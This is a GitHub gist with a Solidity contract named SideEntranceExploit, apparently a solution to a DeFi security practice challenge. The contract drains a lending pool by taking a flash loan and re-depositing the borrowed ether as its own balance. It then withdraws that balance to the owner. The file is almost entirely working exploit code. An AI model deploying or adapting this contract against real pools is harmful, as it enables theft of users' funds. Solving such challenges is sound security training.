Last active
September 1, 2022 05:25
-
-
Save 0xAnon101/2e625326a85bd918663407cdbb9b174c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
interface IFlashLoanEtherReceiver { | |
function execute() external payable; | |
} | |
interface ISideEntranceLenderPool { | |
function deposit() external payable; | |
function withdraw() external; | |
function flashLoan(uint256 amount) external; | |
} | |
contract SideEntranceExploit is IFlashLoanEtherReceiver { | |
ISideEntranceLenderPool immutable pool; | |
address owner; | |
constructor(address payable _pool) { | |
pool = ISideEntranceLenderPool(_pool); | |
owner = msg.sender; | |
} | |
function exploit() external payable { | |
require(msg.sender == owner, "Not the Owner"); | |
pool.flashLoan(address(pool).balance); | |
pool.withdraw(); | |
payable(owner).transfer(address(this).balance); | |
} | |
function execute() external payable override { | |
require(msg.sender == address(pool), "lender calling"); | |
pool.deposit{value: msg.value}(); | |
} | |
receive() external payable {} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment